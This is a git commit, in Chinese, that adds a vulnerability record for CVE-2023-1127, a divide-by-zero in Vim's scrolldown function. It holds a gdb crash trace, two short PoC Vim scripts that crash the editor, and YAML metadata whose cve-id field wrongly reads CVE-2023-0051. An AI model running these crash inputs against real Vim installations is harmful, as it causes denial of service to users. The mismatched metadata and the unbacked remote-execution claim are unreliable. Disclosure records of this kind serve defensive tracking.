添加CVE-2023-1127漏洞信息
This commit is contained in:
zjj_xy
parent
b575c9d13f
commit
31a68df5f7
|
|
@ -0,0 +1,156 @@
|
||||||
|
# 描述
|
||||||
|
|
||||||
|
在move.c的scrolldown函数中存在除以0漏洞(move.c:1739)
|
||||||
|
|
||||||
|
# 影响版本
|
||||||
|
|
||||||
|
```
|
||||||
|
git log
|
||||||
|
commit ea62cee85e9e77ec86edd9843926dadb69978753 (HEAD -> master, tag: v9.0.1327, origin/master, origin/HEAD)
|
||||||
|
Author: Bram Moolenaar <Bram@vim.org>
|
||||||
|
Date: Sun Feb 19 18:36:41 2023 +0000
|
||||||
|
|
||||||
|
patch 9.0.1327: cursor in wrong position below line with virtual text below
|
||||||
|
|
||||||
|
Problem: Cursor in wrong position below line with virtual text below ending
|
||||||
|
in multi-byte character.
|
||||||
|
Solution: When checking for last character take care of multi-byte
|
||||||
|
character.
|
||||||
|
```
|
||||||
|
|
||||||
|
# Proof of Concept
|
||||||
|
|
||||||
|
```
|
||||||
|
./vim -u NONE -i NONE -n -m -X -Z -e -s -S poc
|
||||||
|
Floating point exception
|
||||||
|
```
|
||||||
|
|
||||||
|
# DEBUG
|
||||||
|
|
||||||
|
```
|
||||||
|
gdb --args ./vim -u NONE -i NONE -n -m -X -Z -e -s -S poc
|
||||||
|
GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90
|
||||||
|
Copyright (C) 2022 Free Software Foundation, Inc.
|
||||||
|
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||||||
|
This is free software: you are free to change and redistribute it.
|
||||||
|
There is NO WARRANTY, to the extent permitted by law.
|
||||||
|
Type "show copying" and "show warranty" for details.
|
||||||
|
This GDB was configured as "x86_64-linux-gnu".
|
||||||
|
Type "show configuration" for configuration details.
|
||||||
|
For bug reporting instructions, please see:
|
||||||
|
<https://www.gnu.org/software/gdb/bugs/>.
|
||||||
|
Find the GDB manual and other documentation resources online at:
|
||||||
|
<http://www.gnu.org/software/gdb/documentation/>.
|
||||||
|
|
||||||
|
For help, type "help".
|
||||||
|
Type "apropos word" to search for commands related to "word"...
|
||||||
|
Reading symbols from ./vim...
|
||||||
|
gdb-peda$ r
|
||||||
|
Starting program: /home/user/vim/src/vim -u NONE -i NONE -n -m -X -Z -e -s -S poc
|
||||||
|
[Thread debugging using libthread_db enabled]
|
||||||
|
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
||||||
|
|
||||||
|
Program received signal SIGFPE, Arithmetic exception.
|
||||||
|
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
|
||||||
|
Use 'set logging enabled off'.
|
||||||
|
|
||||||
|
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
|
||||||
|
Use 'set logging enabled on'.
|
||||||
|
|
||||||
|
[----------------------------------registers-----------------------------------]
|
||||||
|
RAX: 0x8
|
||||||
|
RBX: 0x7fffffff57c0 --> 0x1
|
||||||
|
RCX: 0xfffffff8 --> 0x0
|
||||||
|
RDX: 0x0
|
||||||
|
RSI: 0x1
|
||||||
|
RDI: 0x62500001e100 --> 0x3eb
|
||||||
|
RBP: 0x7fffffff5c00 --> 0x7fffffff5d50 --> 0x7fffffff6010 --> 0x7fffffff62f0 --> 0x7fffffff6c30 --> 0x7fffffff6c60 (--> ...)
|
||||||
|
RSP: 0x7fffffff5780 --> 0x41b58ab3
|
||||||
|
RIP: 0x555555c052fa (<scrolldown+7594>: idiv DWORD PTR [rbx+0x3dc])
|
||||||
|
R8 : 0x10007fff68ef --> 0x0
|
||||||
|
R9 : 0x2
|
||||||
|
R10: 0xffffffffffffffff
|
||||||
|
R11: 0x6c ('l')
|
||||||
|
R12: 0x7fffffffdf78 --> 0x7fffffffe321 ("/home/user/vim/src/vim")
|
||||||
|
R13: 0x555556219fb0 (<main>: push rbp)
|
||||||
|
R14: 0x55555634bae8 --> 0x5555557e16b0 (<asan.module_dtor>: push rbp)
|
||||||
|
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
|
||||||
|
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
|
||||||
|
[-------------------------------------code-------------------------------------]
|
||||||
|
0x555555c052ed <scrolldown+7581>: jle 0x555555c0531f <scrolldown+7631>
|
||||||
|
0x555555c052f3 <scrolldown+7587>: mov eax,DWORD PTR [rbx+0x3c0]
|
||||||
|
0x555555c052f9 <scrolldown+7593>: cdq
|
||||||
|
=> 0x555555c052fa <scrolldown+7594>: idiv DWORD PTR [rbx+0x3dc]
|
||||||
|
0x555555c05300 <scrolldown+7600>: add eax,DWORD PTR [rbx+0x3bc]
|
||||||
|
0x555555c05306 <scrolldown+7606>: mov DWORD PTR [rbx+0x3bc],eax
|
||||||
|
0x555555c0530c <scrolldown+7612>: mov eax,DWORD PTR [rbx+0x3c0]
|
||||||
|
0x555555c05312 <scrolldown+7618>: cdq
|
||||||
|
[------------------------------------stack-------------------------------------]
|
||||||
|
0000| 0x7fffffff5780 --> 0x41b58ab3
|
||||||
|
0008| 0x7fffffff5788 --> 0x55555628b24c ("1 32 8 10 first:1599")
|
||||||
|
0016| 0x7fffffff5790 --> 0x555555c03550 (<scrolldown>: push rbp)
|
||||||
|
0024| 0x7fffffff5798 --> 0x100000000 --> 0x0
|
||||||
|
0032| 0x7fffffff57a0 --> 0x62500000a420 --> 0x1
|
||||||
|
0040| 0x7fffffff57a8 --> 0x0
|
||||||
|
0048| 0x7fffffff57b0 --> 0x62500000a428 --> 0x0
|
||||||
|
0056| 0x7fffffff57b8 --> 0x5555561388be (<may_trigger_win_scrolled_resized+2510>: lea rsp,[rbp-0x8])
|
||||||
|
[------------------------------------------------------------------------------]
|
||||||
|
Legend: code, data, rodata, value
|
||||||
|
Stopped reason: SIGFPE
|
||||||
|
0x0000555555c052fa in scrolldown (line_count=0x0, byfold=0x0) at move.c:1739
|
||||||
|
1739 row += col / width2;
|
||||||
|
gdb-peda$ p width2
|
||||||
|
$1 = 0x0
|
||||||
|
gdb-peda$ bt
|
||||||
|
#0 0x0000555555c052fa in scrolldown (line_count=0x0, byfold=0x0) at move.c:1739
|
||||||
|
#1 0x0000555555c20b33 in check_scrollbind (topline_diff=0x0, leftcol_diff=0x0) at normal.c:1943
|
||||||
|
#2 0x00005555562238b2 in main_loop (cmdwin=0x1, noexmode=0x0) at main.c:1390
|
||||||
|
#3 0x0000555555a4c17a in open_cmdwin () at ex_getln.c:4549
|
||||||
|
#4 0x0000555555a3bfd2 in getcmdline_int (firstc=0x3a, count=0x1, indent=0x0, clear_ccline=0x1) at ex_getln.c:1938
|
||||||
|
#5 0x0000555555a38809 in getcmdline (firstc=0x3a, count=0x1, indent=0x0, do_concat=GETLINE_CONCAT_CONT) at ex_getln.c:1554
|
||||||
|
#6 0x0000555555a4101d in getexline (c=0x3a, cookie=0x0, indent=0x0, options=GETLINE_CONCAT_CONT) at ex_getln.c:2843
|
||||||
|
#7 0x00005555559e2bc3 in do_cmdline (cmdline=0x0, fgetline=0x555555a40f90 <getexline>, cookie=0x0, flags=0x0) at ex_docmd.c:876
|
||||||
|
#8 0x0000555555c30b82 in nv_colon (cap=0x7fffffff7e60) at normal.c:3176
|
||||||
|
#9 0x0000555555c1478b in normal_cmd (oap=0x7fffffff8440, toplevel=0x1) at normal.c:938
|
||||||
|
#10 0x0000555555a14a8d in exec_normal (was_typed=0x0, use_vpeekc=0x0, may_use_terminal_loop=0x0) at ex_docmd.c:8887
|
||||||
|
#11 0x0000555555a146b4 in exec_normal_cmd (cmd=0x611000000a48 "\\fn0ndwPPPP\\021\\rWPP0rm0<", '0' <repeats 13 times>, remap=0x0, silent=0x0)
|
||||||
|
at ex_docmd.c:8850
|
||||||
|
#12 0x0000555555a14422 in ex_normal (eap=0x7fffffff89a0) at ex_docmd.c:8768
|
||||||
|
#13 0x00005555559ef8b0 in do_one_cmd (cmdlinep=0x7fffffff9e40, flags=0x7, cstack=0x7fffffff9e60, fgetline=0x555555e0e7b0 <getsourceline>,
|
||||||
|
cookie=0x7fffffffae60) at ex_docmd.c:2580
|
||||||
|
#14 0x00005555559e3675 in do_cmdline (cmdline=0x611000000540 "noaoco\\001\\rr\\027\\027normnorm:", fgetline=0x555555e0e7b0 <getsourceline>,
|
||||||
|
cookie=0x7fffffffae60, flags=0x7) at ex_docmd.c:993
|
||||||
|
#15 0x0000555555e0c5a4 in do_source_ext (fname=0x602000006153 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0, eap=0x0, clearvars=0x0)
|
||||||
|
at scriptfile.c:1759
|
||||||
|
#16 0x0000555555e0a0d1 in do_source (fname=0x602000006153 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0) at scriptfile.c:1905
|
||||||
|
#17 0x0000555555e09c20 in cmd_source (fname=0x602000006153 "poc", eap=0x7fffffffb820) at scriptfile.c:1250
|
||||||
|
#18 0x0000555555e0971e in ex_source (eap=0x7fffffffb820) at scriptfile.c:1276
|
||||||
|
#19 0x00005555559ef8b0 in do_one_cmd (cmdlinep=0x7fffffffccc0, flags=0xb, cstack=0x7fffffffcce0, fgetline=0x0, cookie=0x0) at ex_docmd.c:2580
|
||||||
|
#20 0x00005555559e3675 in do_cmdline (cmdline=0x602000002710 "so poc", fgetline=0x0, cookie=0x0, flags=0xb) at ex_docmd.c:993
|
||||||
|
#21 0x00005555559e6771 in do_cmdline_cmd (cmd=0x602000002710 "so poc") at ex_docmd.c:587
|
||||||
|
#22 0x0000555556222b5d in exe_commands (parmp=0x555556e0ac00 <params>) at main.c:3146
|
||||||
|
#23 0x000055555622095b in vim_main2 () at main.c:782
|
||||||
|
#24 0x000055555621a56f in main (argc=0xd, argv=0x7fffffffdf78) at main.c:433
|
||||||
|
#25 0x00007ffff7c45d90 in __libc_start_call_main (main=main@entry=0x555556219fb0 <main>, argc=argc@entry=0xd, argv=argv@entry=0x7fffffffdf78)
|
||||||
|
at ../sysdeps/nptl/libc_start_call_main.h:58
|
||||||
|
#26 0x00007ffff7c45e40 in __libc_start_main_impl (main=0x555556219fb0 <main>, argc=0xd, argv=0x7fffffffdf78, init=<optimized out>, fini=<optimized out>,
|
||||||
|
rtld_fini=<optimized out>, stack_end=0x7fffffffdf68) at ../csu/libc-start.c:392
|
||||||
|
#27 0x0000555555721a75 in _start ()
|
||||||
|
gdb-peda$ list
|
||||||
|
1734 col -= width1;
|
||||||
|
1735 ++row;
|
||||||
|
1736 }
|
||||||
|
1737 if (col > width2)
|
||||||
|
1738 {
|
||||||
|
1739 row += col / width2;
|
||||||
|
1740 col = col % width2;
|
||||||
|
1741 }
|
||||||
|
1742 if (row >= curwin->w_height)
|
||||||
|
1743 {
|
||||||
|
```
|
||||||
|
|
||||||
|
[poc](https://drive.google.com/file/d/1m30Vl9KgAZ2JNeRKzvbdlQohybd3RWte/view?usp=sharing)
|
||||||
|
|
||||||
|
# 影响
|
||||||
|
|
||||||
|
可以导致DoS，内存修改，或者可能的远程执行
|
||||||
Binary file not shown.
|
|
@ -0,0 +1,6 @@
|
||||||
|
wi0 0
|
||||||
|
no0 L
|
||||||
|
sil0norm0
|
||||||
|
sil0norm00000:se!no
sil0no++++&32+++32nnnnnnnnnnnnnnnnnnnnnnnnnnn 0 10no 0 :H
|
||||||
|
diffs:H
|
||||||
|
dif:H
|
||||||
|
|
@ -0,0 +1,5 @@
|
||||||
|
wi0 0
|
||||||
|
no0 L
|
||||||
|
sil0norm0
|
||||||
|
sil0norm00000:se!no
|
||||||
|
sil0norm
|
||||||
|
|
@ -0,0 +1,19 @@
|
||||||
|
id: CVE-2023-1127
|
||||||
|
source: https://huntr.dev/bounties/2d4d309e-4c96-415f-9070-36d0815f1beb/
|
||||||
|
info:
|
||||||
|
name: Vim是一款基于UNIX平台的编辑器。
|
||||||
|
severity: high
|
||||||
|
description: |
|
||||||
|
GitHub存储库vim/vim在9.0.1367版本存在除以零漏洞。
|
||||||
|
scope-of-influence:
|
||||||
|
vim < 9.0.1367
|
||||||
|
reference:
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-1127
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
||||||
|
cvss-score: 7.8
|
||||||
|
cve-id: CVE-2023-0051
|
||||||
|
cwe-id: CWE-369
|
||||||
|
cnvd-id: None
|
||||||
|
kve-id: None
|
||||||
|
tags: cve2023, 除零错误
|
||||||
|
|
@ -107,6 +107,7 @@ cve:
|
||||||
- CVE-2023-0051
|
- CVE-2023-0051
|
||||||
- CVE-2023-0054
|
- CVE-2023-0054
|
||||||
- CVE-2023-0512
|
- CVE-2023-0512
|
||||||
|
- CVE-2023-1127
|
||||||
openssl:
|
openssl:
|
||||||
- CVE-2022-1292
|
- CVE-2022-1292
|
||||||
- CVE-2022-2274
|
- CVE-2022-2274
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue